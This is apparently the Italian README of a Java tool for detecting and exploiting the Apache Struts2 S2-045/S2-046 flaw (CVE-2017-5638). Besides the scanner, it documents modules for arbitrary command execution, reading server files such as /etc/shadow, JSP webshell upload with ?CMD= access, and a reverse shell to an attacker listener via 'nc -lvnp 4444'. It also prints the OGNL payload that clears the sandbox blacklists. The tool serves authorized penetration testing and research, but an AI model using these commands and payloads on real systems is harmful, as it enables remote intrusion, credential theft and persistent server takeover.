
Struts2 S2-045/S2-046 CVE-2017-5638 strumento di rilevamento e sfruttamento
Uno strumento di rilevamento e sfruttamento delle vulnerabilità Struts2 S2-045 / S2-046 (CVE-2017-5638) implementato puramente in Java. Il modulo di rilevamento copre le due vulnerabilità S2-045 / S2-046, mentre il modulo di sfruttamento offre capacità come esecuzione di comandi, gestione file, raccolta informazioni, shell interattiva, reverse shell, upload di webshell e altro.
Disclaimer: questo strumento è destinato esclusivamente a test di sicurezza autorizzati, ricerca sulle vulnerabilità e scopi didattici. È severamente vietato l'uso per scopi illegali non autorizzati; l'utente si assume ogni responsabilità legale.
| Modulo | Sottocomando | Descrizione |
|---|
| Rilevamento vulnerabilità | scan | Rileva S2-045 / S2-046 (verifica matematica + marcatura fingerprint UUID) |
| Scansione batch | batch | Rileva più target in batch, genera report riepilogativi e JSON |
| Esecuzione comandi | exec | Esecuzione di comandi di sistema arbitrari + output (adattamento automatico Win/Linux) |
| Shell interattiva | shell | Interazione continua, persistenza directory cd, comandi integrati pwd/webroot/os |
| Upload file | upload | Scrittura diretta OGNL (file piccoli) / scrittura segmentata tramite comandi (file grandi) |
| Download file | download | Download con codifica Base64 (sicuro per binari) |
| Directory root Web | getpath | Ottiene il percorso di distribuzione fisica dell'applicazione Web |
| Informazioni di sistema | sysinfo | Informazioni su OS / utente / kernel / directory di lavoro |
| Reverse shell | revshell | Reverse shell bash / PowerShell con un comando |
| Upload Webshell | webshell | Genera e carica una JSP Webshell (stile ?CMD= in chiaro) |
| Esportazione report | scan -r | Report JSON / HTML |
La funzione di download può leggere file arbitrari dal server (ad es.
/etc/shadow); utilizzare solo in test autorizzati.
:: Eseguire nella directory del progetto
.\build.bat
In PowerShell è necessario il prefisso
.\; in cmd si può eseguire direttamentebuild.bat. build.bat si occupa solo della compilazione e non effettua alcuna richiesta di rete o scansione. Al termine della compilazione la finestra rimane aperta e si entra in una sessione cmd (si possono eseguire direttamente i comandi dello strumento; digitareexitper chiudere). Se il proprio ambiente non può scrivere nel repository Maven predefinito, impostare prima la variabile d'ambienteM2_REPOsu una directory scrivibile.
Output: target\s2tool.jar (fat-jar).
Per Linux/Mac fare riferimento a
build.sh
# 1. Rilevamento vulnerabilità
java -jar s2tool.jar scan http://target/action
# 2. Rilevamento + esportazione report JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. Esecuzione comandi
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Shell interattiva
java -jar s2tool.jar shell http://target/action
# 5. Ottenere directory root Web / informazioni di sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Upload / download file
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Upload Webshell con un comando (stile ?CMD= in chiaro)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Accesso: http://target/shell.jsp?CMD=whoami
# 8. Reverse shell (prima mettere in ascolto la macchina attaccante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Scansione batch
java -jar s2tool.jar batch targets.txt -r json
# Le righe di commento iniziano con # (ignorate automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Intervallo di versioni dell'annuncio ufficiale (entrambe le vulnerabilità si basano sugli annunci ufficiali Apache, per consentire all'utente di valutare se il target è interessato):
| Vulnerabilità | CVE | Versioni interessate (versioni vulnerabili) | Versioni corrette (versioni con patch) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 o 2.5.10.1 e successive |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 o 2.5.10.1 e successive |
Questo strumento non si basa sul giudizio della versione, ma determina direttamente l'esistenza della vulnerabilità tramite i risultati dei payload, poiché l'identificazione della versione non è affidabile (molti siti nascondono il numero di versione). La tabella sopra è solo di riferimento per la valutazione manuale, e non influisce sulla logica di rilevamento dello strumento.
Per S2-046, lo strumento supporta sia il percorso di rilevamento tramite iniezione di byte nulli nel filename sia quello tramite Content-Type con la stessa causa principale.
Principio della vulnerabilità:
Content-Type; S2-046: filename di Content-Disposition) viene concatenato nel messaggio di eccezione,
che viene poi valutato da OGNL tramite il processo di elaborazione del testo internazionalizzato di Struts2 (TextParseUtil.translateVariables)(#nike='multipart/form-data') // Maschera il Content-Type, supera il controllo contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Ottiene il MemberAccess con i privilegi più elevati
(#_memberAccess?(#_memberAccess=#dm): // Versioni basse: sostituzione diretta
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Svuota la blacklist dei nomi pacchetto
(#ognlUtil.getExcludedClasses().clear()) // Svuota la blacklist delle classi
(#context.setMemberAccess(#dm)))) // Versioni alte: sostituzione dopo lo svuotamento della blacklist
Testato: su Struts2 2.3.30 la versione semplificata (solo
setMemberAccess) non riesce a bypassare la sandbox, è necessario utilizzare la versione completa (con il percorso di svuotamento della blacklist tramite OgnlUtil).
| Tecnica | Principio | Descrizione |
|---|---|---|
| Verifica matematica | OGNL esegue 88888888-23333+1222, se la risposta contiene 88866777 la vulnerabilità esiste | Formula POC pubblica |
| Marcatura fingerprint UUID | Inietta un UUID casuale e lo restituisce nel corpo della risposta | Alta precisione, non influenzata dalla latenza di rete |
| Rilevamento ritardo | Differenza temporale Thread.sleep(6000) (solo fallback per S2-045 senza output) | Soglia >3.6s |
Regola di giudizio: se la verifica matematica o la marcatura fingerprint viene rilevata → confermata presente; solo ritardo rilevato → probabilmente presente; nessun rilevamento → assente.
struts2-vuln-tool/
├── pom.xml # Build Maven (packaging fat-jar con shade)
├── build.bat / build.sh # Script di build (Windows verificato / Linux di riferimento)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Punto di ingresso principale (CLI Picocli)
│ ├── core/ # Motore principale: client HTTP / costruzione payload / analisi risposta / parsing target
│ ├── plugins/ # Architettura plugin vulnerabilità (punti di estensione)
│ │ └── impl/ # Plugin di rilevamento S2_045 / S2_046
│ ├── modules/ # Moduli funzionali: pianificazione rilevamento / riconoscimento fingerprint / esecuzione comandi / gestione file / shell ecc.
│ ├── report/ # Generazione report (console / JSON / HTML)
│ └── utils/ # Utilità di logging
├── src/main/resources/ # Configurazione logging / riferimento payload
└── src/test/ # Test unitari JUnit
Articoli su principi e tecniche delle vulnerabilità:
Progetti open source di riferimento (durante lo sviluppo di questo progetto sono state consultate le idee e i payload dei seguenti repository):
Solo per test di sicurezza autorizzati e per scopi di studio e ricerca.
È severamente vietato l'uso per scopi illegali non autorizzati; l'utente si assume ogni responsabilità legale.